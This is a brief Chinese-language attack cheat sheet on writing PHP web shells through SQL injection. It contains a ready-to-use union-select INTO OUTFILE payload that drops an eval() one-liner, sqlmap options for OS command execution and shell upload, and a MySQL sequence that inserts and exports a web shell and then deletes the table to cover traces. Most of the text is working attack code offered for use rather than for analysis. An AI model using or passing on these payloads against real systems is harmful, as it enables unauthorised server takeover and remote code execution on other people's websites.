这里小结一下通过SQL注入写入WebShell的方法。

0x01 传统的SQL语句写shell

通过SQL注入select into outfile实现,如:

1
1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#

0x02 sqlmap写shell

前提都是需要对目标目录具有写权限。

–os-cmd=”net user”

交互式命令执行,注意在使用交互式方式时需要知道网站的绝对路径,执行成功之后在绝对路径下创建文件返回结果,然后再自动删除。

–os-shell

写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell。

注意:关闭sqlmap文件就会被删除。

本地写入webshell

先在sqlmap的目录创建mst目录,然后在该目录中创建mst.txt,内容为一句话木马,之后需要两个参数即本地文件地址和目标文件地址,–file-write “./mst/mst.txt” –file-dest “网站的绝对路径/1.php”。

注意需要最高权限。

0x03 MySQL写一句话木马

MySQL写木马,通常可以通过phpmyadmin来实现。

前提条件:有读写的权限,有CREATE、INSERT、SELECT的权限。

1、创建一个表

1
CREATE TABLE a (cmd text NOT NULL);

2、插入数据

1
INSERT INTO a (cmd) VALUES('<?php eval($_POST['password']);?>');

3、导出一句话

1
SELECT cmd from a into outfile '/var/www/tmp/webshell.php';

4、删除表

1
Drop TABLE IF EXISTS a;

0x04 SQL语句利用日志写shell

看这篇文章:SQL语句利用日志写shell及相关绕过